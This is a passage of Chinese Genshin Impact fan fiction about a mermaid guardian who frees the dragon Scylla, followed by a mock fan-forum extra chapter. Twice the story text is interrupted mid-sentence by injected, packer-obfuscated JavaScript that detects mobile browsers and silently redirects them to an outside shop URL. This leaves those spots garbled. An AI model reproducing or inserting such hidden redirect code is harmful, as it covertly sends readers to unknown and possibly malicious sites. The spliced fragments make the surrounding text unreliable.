鱼有点小伤心。 (不是哥们,谁顾得上你啊) 56.斯库拉 当旅行者接到委托去诺丝托伊地区干活之后,把沫芒宫上上下下清扫了一遍的静原摸了摸鼻子,决定跟过去看看。 诺斯托伊地区的水体和枫丹海水体不同,虽然归属枫丹统治,但已经失去了源海赐福。所以旅行者在这片海域是无法享受潜水特权的哦。 静原在佩特莉可镇待了一会,很快就在人群中瞧见了左顾右盼的金毛小伙。 “卡吕普迪斯?没想到你竟然会在这。”派蒙惊喜的飞过来,“咦?你什么时候换了一条腰链?真好看!” “我来这边处理一些事。腰链是半个月前换的,我也觉得很好看。”静原看向旅行者,“旅行者,你这是接了委托四处奔走吗?” 旅行者思索了一会,告诉他是因为送货途径佩特莉可镇,发现了镇上居民有些不对劲,决定留下来探查一番。 “卡吕普迪斯,你是知道什么内情吗?”旅行者看人鱼站在一众神色恍惚的居民中间坦然自若的模样,觉得这条上千岁的鱼肯定知道些什么。 静原:“我正是为此而来的。不过是往日幽灵徘徊在人世作祟,清除就好。” “啊……”他似乎想起了什么,面上浮现出一点笑容,“既然是你的话,也许我这次能知晓当年的真相。” 旅行者觉得这条诚实的鱼也开始向谜语人进化了。 空:是谁?是谁带坏了他! 然而虚空索敌的效果并不美妙,静原言简意赅,告诉这对神奇的搭档希望能和他们同路,一起调查佩特莉可镇的诡异现象源自何处。 当然是同意啦。 派蒙嘿嘿笑着:“在海上探险,有卡吕普迪斯你陪着总会更安心一些。” 她在枫丹冒险久了,也逐渐理解枫丹人在海上看见卡吕普迪斯就会相当有安全感是怎么回事。 静原点点头:“就当作是对我的认可了,非常荣幸。” “好啦,跳过这个环节。”旅行者站了出来,“开始干正事吧。” 一切都很顺利,他们一路寻找着线索,发现了镇子背后的魔像,以及流水连通的,不知通往何处的入口,认识了一位口吐人言的白猫,派蒙忽略了猫猫先生的一大串听不懂的自我介绍,切入正题,称呼他为小呜斯。 知晓对方真实身份以及真实年纪的静原全程保持诡异的微笑。 佩特莉可镇底下空间相当庞大,巨大的石室被海水和时间日积月累的腐蚀,幸好书籍保存完好,他们能根据纸张上的只言片语推测出这里是褪色城堡,是海魔王的宫殿。 在旅行者和派蒙辛苦解密的时候,静原拉开一把椅子坐下,看着巨大透明玻璃窗外游荡的蓝紫色鲸鱼幻影,挑了挑眉。 白猫蹲坐在另一把椅子上,兽类的竖瞳注视着翘着腿的静原:“卡吕普迪斯先生,海中的精灵,您认识他,对吗?” “严格来说这是我第一次见到他。”静原看向那条被派蒙称作奇怪大鱼的鲸鱼,“也算是家中长辈了。” 白猫不知想到了什么,拘束在兽类身躯中的人类灵魂长长的叹息一声:“虽说往事不可追忆,但我已然知晓您的来意……希望这次同行合作一切顺利。” “我很讲道理的。”静原只是微笑。 白猫只能祈祷这条鱼真的像他说的那样讲道理。 可是龙裔最著名的一点就是不讲道理。 派蒙哼哧哼哧半天一回头:“喂!卡吕普迪斯!不要偷懒啦!” “我们可是在辛苦的解密呢,你也来帮忙!” 静原只得起身:“好好好,我来帮忙……比如演奏曲谱,打打怪什么的。” 他们探索城堡的时候,发现了一处舞台,那上面刻画了金色船只乘风破浪的故事,白猫静静的旁观着,也许是在怀念千年前的故事。多才多艺的旅行者对于演奏自然也是轻松驾驭,静原抚摸那些历经时光依旧锃亮的金色管弦,那些美丽的粉紫色音符,不可避免的想到了千年前的故人。 他对于那个庞大王朝的文化认同以及怜悯有限,不置可否的看着白猫眼中流露出的怀念。 演奏完毕,冒出一堆魔像。静原抄起骨杖就是一顿乱锤,都不用旅行者拔出他万能的无锋剑,三下五除二就打完了。 他光脚站在舞台上,掸去身上不存在的灰尘:“好了,下一个环节。” 旅行者决定原谅他不动脑子解密的偷懒行为。 白猫,现在是呜斯先生了(派蒙已经知晓了他的身份,决定换个尊称),他舔了舔鼻子,顺从的带领同行伙伴们去下一个地方。 埋葬雷穆利亚的旧日之海。 静原本来是人的形态,进入旧日之海地界,沾染了海水后,身体反应催促他变回鱼的下身。 自从之前压抑过然后自食恶果,静原再也不敢忽略身体的诉求,忍着痛变为鱼身,丝丝缕缕的血液融入海水,他明显感受到有一股陌生的力量在修补他的皮肤。 庞大鲸类的幻影从头顶掠过,扒拉着静原马尾的派蒙惊叹一声:“真的好大啊。” “呜~”静原甚至有心情调笑,人鱼形态的他在海里是无敌的,绝对的力量让他无惧任何威胁,“没事,我在呢。” 呜斯先生看了他一眼:“继续前进吧。” 穿过狭长的隧道,前方陡然明亮开阔起来。那是与如今枫丹海有着明显区别的景象,梦幻般的粉蓝与粉紫为主色调,海草都散发着荧光,水体带着最原始的源海赐福——小小的佩特莉可镇海上与海下竟然是不同的水体。 其实明白这是天理手笔的静原在心里叹气,尤其当他看到鲸鱼幻影消失,被眼前山体中被三条锁链束缚的真身所取代后,愈发压抑了。 “卡吕普迪斯……”旅行者的声音将他从漫长思绪中拉回来,“你现在的表情好可怕。” 静原叹气:“没事,不是针对你们。” “难道……你和这条大鱼有仇?”派蒙提议,“要不,我们不放开他了?” “不,别误会。我和他无冤无仇,相反,我正是为解救他而来。”静原摆了摆尾巴,“呜斯先生,你也很清楚吧。” “当然,魔龙斯库拉,水系龙裔的亲王。”呜斯先生,其实是卡西奥多的白猫叹气,“卡吕普迪斯先生,我们是站在同一战线上的,还请您保持平稳心绪。” “都说了我很讲道理的。” “是吗?那样真是太好了。”白猫语气平淡的捧读。 感觉气氛怪怪的旅行者和派蒙对视一眼,决定先去把斯库拉放出来。 这次因为静原没有划水,三条锁链解决起来的速度很快,最后一条锁链消失的时候,斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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派蒙惊讶至极:“这样庞大的乐器,演奏起来的音浪可以把我像切豆腐一样切开吧?” 旅行者:“不要讲得这么恐怖……” 呜斯先生:“豆腐是什么?” 旅行者:“哎哟怎么解释好呢……” 静原忽略了旅行者的烦恼,只是注视着那座金色宫殿,和斯库拉一起沉默着。 盛极一时的庞大王朝,终局也不过是沉睡在深海寂寥无闻,哪怕他的国民曾奋力反抗这个命运。 斯库拉低声询问静原:“诅咒解开了吗?” “没有诅咒了。王拿回了至高的权柄,再也不会有人溶解在水中了。”静原靠着斯库拉,“都可以安息了。” 对于海上的枫丹人来说,高天的预言已经破除,但在斯库拉以及这些被时间抛弃的魔像的认知中,命运仍是需要对抗的顽石。 静原说:“所有为抵抗命运的勇士都可以安息了,这片土地上的人类再也无惧回归莽荒的诅咒,就连魔像也不必惶恐。” “那真是太好了。”斯库拉庞大身躯内传递出来的声音却是平和而温柔的,“我也该送他们去往轮回了。” 被时间抛弃,被世人遗忘,因为阴谋诅咒而脱离轮回千年的魔像,是时候重新步入轮回中,得到彻底的安息了。 57.结束 接下来就是修复黄金水道开启宫殿大门,勤劳的旅行者东奔西跑,借助斯库拉激流的力量飞速穿梭在旧日之海,最终,不溶于水的灵露联通了管道,与斯库拉这样庞大的生命一起奏响乐章。 派蒙也没有被音浪切碎,真是可喜可贺呢。 派蒙:喂! 门开了。 可是大反派波爱修斯出现,呜斯先生为了保护他们,被抓走了。 明着放水的静原:~ 斯库拉不愿意进入黄金宫殿,于是旅行者一行人选择继续前进,去面对未知的危险,解救无助的喵喵。 静原再次变化出人类双腿的时候,明显感受到疼痛已经减轻到只有被刀尖轻轻划破皮肤的程度,相较于之前的尖锐剖开,已经称得上是温柔至极了。 旅行者还记得那日的血,因此迅速伸手扶着静原站稳,再三确认他没事后,才敢继续前进。 不过很快旅行者就顾不上关心静原了,他这个神奇的体质又将他拉入莫名的回忆中去。 空:有时候真的很想报警……这种莫名其妙看到别人过去记忆的事能不能不要再来了,醒来后恍惚好一会——搞得我好像很脆弱一样。 派蒙对于这种情况已经可以做到心平气和了,如果是以前单独二人冒险,她或许还会惊慌于独自面对未知的危险,不过现在有静原在身边,心多多少少是踏实的。 派蒙:这就是底气啦。 黄金的舞台中央,波爱修斯附身于人马身的魔像,宣扬自己的理念。 正是他篡改了至尊的雷穆斯王授意的意志,正是他将斯库拉打上背叛者的烙印封印千年,正是他作为黄金时代的鬼影,带领旧日的遗民企图复国,也正是他用福波斯的至福之乐拘禁了佩特莉可镇居民的灵魂。 妥妥的大反派。 旅行者有闲工夫和他废话,静原可没有,他着急解决完事情带斯库拉去见那维莱特和鲸群,因此提着法杖就上,痛殴波爱修斯。 “是你!卡吕普迪斯!你这罪无可恕的海妖!”波爱修斯没能第一时间认出人身的静原,直到他被近距离一拳砸碎半颗头颅后才猛然惊觉,“又是你!阴魂不散的妖魔!” 打怪的时候,静原一般不废话,任凭波爱修斯大吼大叫也不接茬,将冷暴力诠释到底。 然后卡西奥多的意识冒头——这家伙被波爱修斯融合了,因为他们曾同属王朝的调律师,曾在同一段旋律下生活,听从于福波斯的指引是每个雷穆利亚人的天性。 卡西奥多的意识说:“福波斯失控了,祂生出了自己的意志,而波爱修斯早在千年前的就被祂蛊惑。” 卡西奥多控制着魔像躯体不对静原出手:“杀了我,终结这个错误。” 静原握着那柄法杖,站在偌大的宫殿大厅内,表情平淡,只是用法杖底端顶着魔像的胸膛,没有多余的动作。让呜斯先生,也就是卡西奥多分不清他到底是个什么想法。 “卡吕普迪斯先生,您和记载中不一样。”卡西奥多以为静原是在等一个道歉,因此诚恳说道,“我为之前的警惕与提防向您道歉。” 静原不在意,终于开了尊口:“没必要道歉,毕竟我很清楚我在雷穆利亚人眼里是个什么形象。” 王朝的覆灭可以说是一夕之间,但那日他覆灭了海上军舰后,后续遗民的报复也被他通通打回去,直到再也没有雷穆利亚遗民的船敢在海上出现——卡西奥多听到有关他的负面言论不要太多,那些遗民甚至在特意建造石室留存历史与教诲时,单独给他开辟了一块壁画,描述他卡吕普迪斯是多么可恨可恶丧心病狂毫无理智…… 卡西奥多知晓雷穆斯王与斯库拉的友谊,知晓斯库拉是龙裔亲王,甚至知晓卡吕普迪斯也是龙裔一员,在尚且不清楚斯库拉为何背叛雷穆利亚的时候,卡西奥多警惕与斯库拉同一战线的静原那是相当合情合理的。 他道歉,也是因为明白了斯库拉当初的选择出自至尊的雷穆斯王授意,根本不是背叛。加上组建黄金猎人也就是逐影猎人的那些年,听过前枫丹人对卡吕普迪斯的赞颂,又有旅行者和派蒙的加持,多重因素让他为之前的戒备感到抱歉。 因为对同伴有警惕防备之心是很致命的。 静原说不在意,那是真的不在乎。 他不是很关心不相干的人用什么态度对他。 因为如果是敌人,清除即可。 旅行者和派蒙不忍心,短暂的旅途已经让他们知晓呜斯先生是何等正直可爱的喵喵。 派蒙:“一定要死亡吗?呜斯先生?” 静原还是没有动,卡西奥多也动不了,因为法杖施加的力量让他这副身躯被牢牢禁锢,如同被人类手掌握住的团雀一般。 那是何等伟力。 他意识到这位先生的力量远比他平时表现出的那般更强大。 “派蒙,我的身躯早已死去多时,千年来,如同旧日的鬼影一般东躲西藏。我是被时间抛却的影子,一直等待真正的解脱时刻到来,死亡是我最好的归宿。”他说,“我已知晓了当年的真相,也再次清晰了至尊的宏伟愿望与爱人之道。再无遗憾。” 卡西奥多真挚询问:“卡吕普迪斯先生,您在等待什么?” 如果是道歉,他刚刚已经说过了。 静原并不是这么肤浅的鱼,因为他真的只是:“在等你说完遗言。” 不然派蒙这孩子不理解。 “那就,请奏响最后的安魂曲,让所有的灵魂回归现世吧。” 有时候静原冷漠到让派蒙觉得陌生,因为在卡西奥多表示自己真的已经没有遗憾,请您快点出手后,静原一杵就将那座人马身魔像捣个粉碎,波爱修斯甚至没能发出不甘的怒吼与哀叫,就真的消散在了天地间。 派蒙忍不住闭上了眼睛,再次睁眼看着静原的背影,又觉得他果断到让自己敬佩。 “卡吕普迪斯……”小家伙如此呼唤,看见静原回头后又摆摆手,“没什么,只是突然想叫叫你的名字。” 静原:? 不是很懂小朋友的心理。 旅行者解释道:“派蒙还是有些不忍心,对派蒙来说,看着灵魂在眼前消失也是一种不可承受之重。” “派蒙。”静原叫了一声。 “啊?” “所有的灵魂都有各自的去处。卡西奥多的灵魂徘徊在世上千年,唯有今日的死亡才是他彻底的解脱。”静原看向小小的精灵,面上看不出情绪,“他已经孤独了太久。” 派蒙有点理解了,呐呐的点着头。 后来福波斯的意识出现,叽里咕噜一大堆,静原抬手就要把祂拍扁送去见卡西奥多的时候,福波斯突然大叫一声:“我看不清你们的命运!” 事实上,在场三个人没一个人的命运祂看得清。 旅行者是异乡人,他自己也清楚自己的命运不写在提瓦特的高天,派蒙本身就很神秘这个不用说,那卡吕普迪斯是因为什么呢? 再看卡吕普迪斯,他一脸“你叫,我看你能叫出个什么花样来”的表情,然而福波斯看不懂人类表情,拥有前任轮回幸存者,先知西比尔力量的福波斯大叫道:“你在法图纳也看不到的盲点,你是被法图纳注视诞生的——” 静原掏了掏耳朵,对祂前言不搭后语的屁话没有反应,干脆利落的砸碎了福波斯残存的意识。 旅行者目瞪口呆:“不听祂讲完吗?”他们以前冒险遇到这种情况都会选择听完,毕竟是命运的线索。 “旅行者,知晓命运本身就是命运的安排。”静原顶着残片,平静道,“我已经受够了。” “祂无权对我指手画脚,因为这世上只有王能够安排我的未来。” 然而王并不会这样对待他。 因为他们是家人。 静原才不会去听福波斯那是真是假的话,对于所谓先知西比尔的预言,他也懒得思考。作为前代轮回的遗留的影子,苟活至今,败者的总结如同马后炮,毫无意义。 她说雷穆斯会建立繁荣的城邦,又会毁灭亲手建立的文明。雷穆斯正是听信了这毫无错处的预言,选择挑战,然后就如命运安排的那样迎来奋力一搏后的失败终局。 就像一局被系统安排必输的晋级赛——狗屎匹配机制。雷穆斯的对手是连胜的高天的法则,写好的新轮回中篇,无往不利的命运。而他的队友是上局败方西比尔,以及败方龙裔亲王。 西比尔:你这局赢不了。 于是雷穆斯就像每一个连跪之后不信邪打开排位想着我就不信这局还能输(我倒要看看能输多少把)的头铁打野玩家,开启匹配,然后迎来匹配机制的当头棒喝,鲜红的红方第一让他心中大喊不妙,但仍旧怀揣一丝希望。直到最后三路线全崩,七分钟被推上高地,才认清了现实。 打野雷穆斯试图带线,为此让斯库拉和卡西奥多作为一明一暗两只后手出场,一个吸引火力,一个去刷野发展经济。最后内鬼中单福波斯卖掉了对抗斯库拉以及中路三塔,敌方直接带着兵线推了水晶,射手卡西奥多甚至回城回到一半,无力回天。 上局败方西比尔还说,看吧,我就知道会输。 雷穆斯:(●—●) 静原:(●—●) 静原看向金发的少年人,认真道:“旅行者,所谓命运本身就是一种谎言。过去与未来并不是一条直线,本来你站在分叉口还有得选,但当你听信了命运的指引,你就走上了命运安排的那条道路,然后走向那个既定的结局。” 空瞪大了眼睛,注视着卡吕普迪斯湖蓝色的瞳,似乎看见了粼粼的波光。 “这个世界本身就是由一个巨大的谎言构成,你看到的,听到的都不一定是真实。因为就连记忆也可以被篡改,哪怕是世界树。”他的话让空瞳孔紧缩,甚至是脊骨发寒。 因为这世上只有他知晓所谓的篡改记忆是什么,是被众生遗忘的小吉祥草王,是他可怜的朋友真实而悲剧的五百年时光,是除他以外无人在意的,属于纳西妲个人的记忆与生命。 静原做出总结:“相信自己心的判断就够了。至少,不会后悔。” 空用力的点点头,派蒙则是一头雾水。 空:卡吕普迪斯都知道了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989172|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 静原:休想摆布我。 最后他们在演说台演奏了最后的安魂曲,被拘束的灵魂回到了现世,静原钻进宫殿外的海中:“斯库拉,现在就走吧!” 旅行者选择暂时放下对旧日之海的探索,一起回到佩特莉可镇去看望那些失魂的镇民。 正是夜晚,月亮高挂天空。斯库拉浮出海面,压低了声音说道:“就这样去见王,是否会打扰到他呢?” 从王的眷属卡吕普迪斯那得知王如今在人类社会打工后,斯库拉仅仅只是思考片刻后就接受了这个现状——毕竟是王啊,做什么都不奇怪,他们这些臣民只需要信服并且辅佐就好。 虽然说深夜的水族可能还在海底聚众狂欢,但是人类社会的居民现在应该都在睡觉……这也是斯库拉如此询问的原因。 静原不愧是最了解王的水族:“没事,这个点他一般还在加班。等我们到的时候,他应该站在海边散心,正正好。” 斯库拉唏嘘:“王真是尽职尽责,哪怕是在人类社会……老夫也该努力才是,走吧。” 确认佩特莉可镇民无事,全程保持诡异心情的旅行者选择继续同行,他和派蒙打算今晚睡在枫丹廷旅馆——搭个顺风车啦。 最后真的在欧庇克莱歌剧院门口的长台上看见了那维莱特。 “那——王啊,你看我带回来了谁。”静原一个急转弯改口,差点呛到了旅行者和派蒙,“是斯库拉亲王。” 那维莱特有点哽住,想说你今天玩的什么花样,后来在斯库拉的觐见中明白卡吕普迪斯是在维持他威严的水龙王形象,无奈叹气:“斯库拉,卡吕普迪斯,叫我那维莱特就好。我如今隐瞒身份在人类社会生活工作,暂时不想公之于众。” 斯库拉依旧接受良好:“老夫谨记于心,那维莱特大人。” “斯库拉,我已知晓你的遭遇,不必再担忧过往。我已经取回了七之大权一角,足以庇护你们。从今以后就在枫丹生活吧,或者你想住在旧日之海都可以。”那维莱特想了想,“卡吕普迪斯千年来一直照顾着你那一脉龙裔,如今你回来了,是否要接手呢?” 斯库拉看向静原:“卡吕普迪斯……” 静原表示:“我都行,他们还是比较省心的。不管是跟你还是跟我都没问题。” “让他们自己选择吧。”斯库拉叹气,“老夫已经老了,离开了他们千年,彼此都太过陌生了。” “老夫今后还是选择居住在旧日之海,也会时不时来到枫丹海看望您和卡吕普迪斯,以及那些孩子。” “那今晚就住在这吧,明天去看看他们。”静原笑了笑,“我不信热闹过后你一条鱼孤零零的睡在旧日之海不寂寞。” 斯库拉:“……” 斯库拉:“老夫无力反驳,因为你说得有道理。” 派蒙惊喜道:“那我们明天来找你玩呀,然后一起去旧日之海冒险!” 旅行者笑:“很期待。” “那就明天见。”斯库拉心情愉悦起来。 那维莱特柔和的注视着这些朋友以及家人:“明天见。还有晚安。” 旅行者和派蒙上岸,选择找旅馆睡觉。斯库拉和静原沉入海中,留下那维莱特熬夜加班完睡不着看月亮。 下面又传来卡吕普迪斯的声音:“还是睡不着吗?” 那维莱特对他的去而复返表示习以为常,注视着对方冒出海面的蓝色脑袋解释道:“今天处理完几桩案子,有些思绪不宁。” “……”大聪明静原思考了一会,“那我明天找沫芒宫职员谈谈——怎么又让你一条龙多干活。” 那维莱特被他逗笑了:“你再来一遍清洗,沫芒宫以后都不敢听到卡吕普迪斯这个名字出现了。” 静原抱胸冷哼一声。 幸而他的王对他向来好脾气且宽容有耐心:“没关系的,卡吕普迪斯。我几天不睡觉也没有问题,再看一会月亮我就回去了……希望巡轨船还在工作,不然我只能游回枫丹廷。” “这样下去也不是办法,你的黑眼圈越来越严重了……过些天我给你搜罗些好吃的,看看吃饱了能不能睡个好觉歇歇。”操心的静原这次真的准备回去休息了,斯库拉还等他给他安排床位呢。 那维莱特笑起来:“嗯,我开始期待那一天。” 听完墙角的斯库拉:“工作真可怕。” “害,谁说不是呢。好好一条龙被磋磨成什么样,再过几百年就让他学隔壁那条退休……你睡这没问题吗?一点都不软,走走走,绕个弯去塞洛海原,那边的植被多,海床睡得很舒服。” “好……咦,你的床是粉色贝壳做的?” “好看吧,这可是我精挑细选的漂亮粉贝壳。” “旧日之海长着不少品相完美的砗磲,你想换新床的话,老夫给你挑几张送来。”斯库拉依旧接受良好,“睡吧睡吧,老夫也困了。” “晚安,斯库拉。”静原把床拖到斯库拉身边,然后躺进去。 “晚安,小鱼。” “?” “晚安,卡吕普迪斯。” 58.番外 现世论坛(一) 【帖子】枫丹pv那个头顶竖角的侧脸美男是谁,十分钟内我要知道他的全部信息! 1L 楼主 如题所示各位,枫丹pv那个侧脸美男子是谁,孩子对他一见钟情了 2L 不要急,总裁。4.0主线要不了几天就开了,安心等待啦 3L 我慢放看了,截图.jpg,那应该不是角,是一种头饰 4L 什么,居然不是角,隔壁有人猜是枫丹水龙呢 5L 你别说,你还真别说,蓝头发蓝眼睛,半身都泡在海里,老米还吝啬的只给了个背影和侧脸两个镜头,很符合米家卖角色的特征 6L 难道不应该是意义的不明特写吗,比如从下到上从鞋底到翘臀…… 7L 回三楼,的确不是角,头饰应该是珊瑚材质,只是不知道为什么是白色的 8L 上面的不要再说了,我又想起了蒙德那位故人,眼泪要掉下来了 9L 同上 10L 楼主 所以大家都不知道新老婆的身份吗?哪怕是名字也好啊!我真的很喜欢他的高马尾! 11L 害,枫丹大门都没开,能知道的几个角色名字还是内鬼偷跑放出来的,老米消息捂得越来越严实了 12L 新消息,内鬼爆料枫丹有美人鱼 13L 不要打我脸啊! 14L 美人鱼?那不是心海吗?这次复刻我特意抽了心海,就想看美人鱼在水里游,不敢想象能美成啥样 15L 销冠啊你……我也去抽,原神启动! 16L 胆小鬼,我就敢想 17L 这个3.8是一会也待不下去了,枫丹快开门!我要见我的老婆! 18L 等会等会我地图还没肝凯亚新衣服还没拿到! 19L 懒鬼,新衣服第一天就能拿到了,这都快完了你还没到手 …… 47L 这帖子还有人吗? 48L 活人还是有的,咋了 49L 话不多说,压缩图.jpg. 楼主出来吧,人设草图已经爆出来了,这回真是美人鱼了,货真价实的 50L 我嘞个大豆啊,乖乖,老米真能做出来大世界的效果吗 51L 楼主 我来了我来了,我命中注定的美丽老婆!我已经知道他名字了!卡吕普迪斯! 52L 看样子不像是能进卡池的啊,你看这张草图,他算上尾巴有1.8个斗子哥那么高 53L 斗子哥什么时候成了计量单位 54L 谁让他是目前所有成男里最高的 55L 卡吕普迪斯这个名字在早起活动里有提到过,那会还是烟绯提到提瓦特有人鱼,所以后来心海出场大家都猜她是不是那条美人鱼。不过那是很早很早的活动了,现在不一定有人记得 56L 我靠出bug了我一沾枫丹的水就卡住完全操控不了,能听到声音但是画面一动不动 57L 俺也一样!就是坐船的时候不安分一下子蹦哒下去,然后发现怎么也跟不上船,最后干脆跳海里打算探索一下大世界,然后就没了,画面动不了了 58L 前面的是在演我吗?夜兰散兵根本追不上,我只是坐船的时候用万叶e了一下啊 59L 我是用散兵e,飞天上然后船开走了…… 60L 你们这些不安分的旅行者哟,老老实实坐到底会给个成就 61L 什么有成就?探索停止,我回去坐船! 62L 给成就也没用,我就是在枫丹廷神像那接了个任务就卡死了 63L 我是在坐电梯的时候乱蹦哒卡死的…… 64L 本来以为设备够好不会卡,做任务传送到水下锚点,动不了了,只能听到水声…… 65L 这个帖子什么时候变成bug大赏了 66L 讲到哪来了 67L 楼主 我电脑也卡了,新驱动还没装好,跟我讲讲新主线有没有我如花似玉的老婆 68L 好消息,有 坏消息,只存在其他人的台词里 69L 楼主 哦NO——— 70L 别逗楼主了,他看上去不是很聪明的样子。有卡吕普迪斯的出场,但是是在海里,只给了一个俯视的镜头图片.jpg 71L 这是在干啥,旁边那是啥?他在喂鱼吗? 72L npc说他在照顾新生的幼鲸,带它们浮出海面晒太阳 73L 什么枫丹男妈妈,美人鱼居然在海里也要带孩子吗? 74L 何止,枫丹不是有美露莘这个种族吗?美露莘就是卡吕普迪斯负责照顾的,他好像还带了龙蜥…… 75L 不是那维莱特吗?有人说他是枫丹唯一一个男美露莘,是美露莘大王 76L 这比须弥开门那会说艾尔海森是兰那罗大王还离谱,我正喝水呢,差点呛死我 77L 所以卡吕普迪斯真就是枫丹保育员了?美露莘,鲸鱼,还有龙蜥都归他管 78L 这样更像是水龙王了,水龙蜥都听他的话啊,坐拥那么一大片海! 79L 可是渊下宫文本不是说新的水龙王会以人类的形态诞生吗? 80L 卡吕普迪斯没有人形态吗? 81L 他有尾巴啊喂!人鱼本质还是鱼啊! 82L 我还是觉得他应该就是水龙王,在枫丹还有个正式职称,枫丹的大守护者。大守护者对于一个国家来说那是相当重要的,份量根本不是其他职位能比的好吗? 83L 楼主 怎么哪里都有大守护者,可可利亚也是 84L 旅行者,崩铁好玩吗 85L 这样也不能证明什么吧?就算是大守护者,也不一定就是龙王 86L 菲米尼喊水龙水龙别哭的时候,卡吕普迪斯应该在野外吧…… 87L 我做完任务了,卡吕普迪斯不是水龙,他就是烟绯说的那条人鱼,有人找到了过去的录屏,再次锤严实了 88L 那么长时间的主线你就这么水灵灵的做完了?这才开门不到四个小时吧? 89L 楼主 我还卡在进剧院见林尼那……死网 入坑晚没有做过那个限时活动,不过这都两年多了,你们还记得是真厉害。 90L 设备和网络都挺给力的,卡吕普迪斯应该真的不是水龙王,做完主线找林尼和琳妮特谈话,你会发现他们兄妹俩相当尊敬卡吕普迪斯,而且私下里也认识……我不信龙王会和愚人众的人这么和谐友好的交流,就跟带孩子一样 91L 卡吕普迪斯是不是水龙王我不知道,但我确定以及肯定他是枫丹男妈妈。欧庇克莱歌剧院门口和露景泉有几个美露莘,天天都在想卡吕普迪斯这次会带什么好吃的给她们 92L 楼主 我更爱了…… 93L 说真的4.0主线剧情讲到的东西很多,林尼琳妮特是愚人众,喻示裁定枢机的秘密,公子神之眼有问题然后有罪进梅菜扣肉堡,那维莱特乌鸦坐飞机,什么原始胎海溶解枫丹人,连环少女失踪案,娜维娅她老爹和克洛琳德,就那么几章能讲这么多,哇真是又臭又长 94L 越来越不正经了你,明明是梅洛彼得堡,什么梅菜扣肉包 95L 饿了,我下楼买个梅菜扣肉锅盔 96L 还好,这次主线我还挺满意的,就是不知道为什么芙宁娜表现得这么怪异,有种强撑着的感觉 97L 谁知道呢,看老米之后怎么讲吧 98L 最后在墓地那边跟那维莱特聊天,本来是下雨的,然后给了个雨过天晴的特写,品,你细细品 99L 这都在明示那维莱特才是水龙了吧 100L 所以卡吕普迪斯在干嘛,除了刚到枫丹的开头有个他的镜头,只后就没见过他的尾巴影子 101L 你让一条鱼怎么上岸 102L 呃,匍匐前进? 103L 前面的,想知道卡吕普迪斯在干嘛,你直接问那维莱特啊,主线做完他就站在墓地那边,你问他原始胎海,前面一大长串解释之后,他会补充一句,已经有备受他信赖的下属去调查了,调查为什么枫丹人会溶解在原始胎海水里 104L 不是,你这就确认他指的是卡吕普迪斯? 105L 指路沫芒宫塞德娜,那个美露莘是那维莱特的助手,她待机语音是“卡吕普迪斯大人下次述职的时候……”,这还不够证明卡吕普迪斯是不是那维莱特下属吗? 106L 你们扒得好细…… 107L 那也不一定就是卡吕普迪斯去调查了 108L 还杠,杠就是你对,反正我也只是提出合理猜想。毕竟他是那维莱特下属,不出现在主线的审判里,又是人鱼在海里活动,是枫丹的大守护者……buff叠满,他不调查谁调查?让那些随时可能溶解在海里的枫丹人去吗?还是让愚人众去? 109L 楼主 我靠好有道理,兄弟我相信你! …… 145L 楼主 完了!进梅洛彼得堡了!有案底了! 146L 我服了,因为一块蛋糕让枫丹政治中心陷入静默状态关老子45天,大无语 147L 明明是你那维莱特让爷吃的! 148L 好了这种做戏行为不要继续了,谁都知道咱进梅洛彼得堡是打探消息去的 149L 楼主 莱欧斯利好帅哦~老婆再不出场我就要爬墙了 150L 卡吕普迪斯戏份真的是少啊 151L 不过4.1剧情我很满意,林尼这么滴水不漏的人在莱欧斯利面前还是会破功,希格雯护士长感觉白切黑啊 152L 正常,毕竟他以为莱欧斯利把琳妮特和菲米尼怎么样了,换作爷知道哥哥或者妹妹可能有危险,也是提着剑就干啊。林尼当时完全就是汗流浃背了,可怜的小黑猫~ 153L 谁知道莱欧斯利说请喝茶真就是字面意义上的请喝茶,倒是菲米尼在海里遇到了危险,还是克洛琳德救回来的 154L 好帅啊莱欧斯利,好帅啊克洛琳德,我的两个新老公 155L 唉,你说那维莱特4.0说让信任的人去调查了,会不会指的就是莱欧斯利或者克洛琳德,莱欧斯利可能性高一些,毕竟那维莱特亲口承认他们有私交,还夸他大有作为,上一个这样认可的还是娜维娅已经死翘翘的老爹 156L 梅洛彼得堡下面的胎海水都爆发了一回唉,这回真的实锤那维莱特是水龙王了 157L 猜卡吕普迪斯是水龙王的人真的要失望了 158L 不怪他们,毕竟卡吕普迪斯之前逼格那么高,戏份却这么少,厨子只能疯狂脑补猜测了 159L 楼主 我真的,唉……等了好久,4.1都结束了,啥也没有。哦,公子还活在回忆里。 160L 公子厨哭晕在厕所,林尼他们是因为仆人觉得找公子这个借口好用才派他们来调查,那维莱特也是因为至冬那边施压才让旅行者来调查,只有旅行者和派蒙是最关心公子的人呜呜呜 161L 啥也不说了,我就等,看米哈游要把卡吕普迪斯藏到什么时候 162L 4.1版本几乎是莱欧斯利的个人秀,什么时候卡吕普迪斯也会有啊……唉!!! 163L 你先让他出场,再聊戏份多少的问题。场都没出,枫丹都要毁灭了,他不会还在海里喂鲸鱼吧? 164L 杀人诛心啊你…… 165L 楼主 啊啊啊啊啊啊啊啊啊!!! …… 256L 4.2主线过完了,芙芙,我的芙芙,我可怜的小宝贝,错怪你了,五百年,整整五百年的时间…… 257L 做任务哭,逛论坛也要哭,我受不了了,我的眼泪这么不值钱 258L 卡吕普迪斯和公子的厨子应该是最高兴的吧,沉寂了两个版本的高光那叫一个帅 259L 没想到打吞星之鲸是他俩携手合力作战,卡吕普迪斯真的就像那维莱特说的那样尽职尽责,不会放任任何人在枫丹海作乱然后全身而退 260L 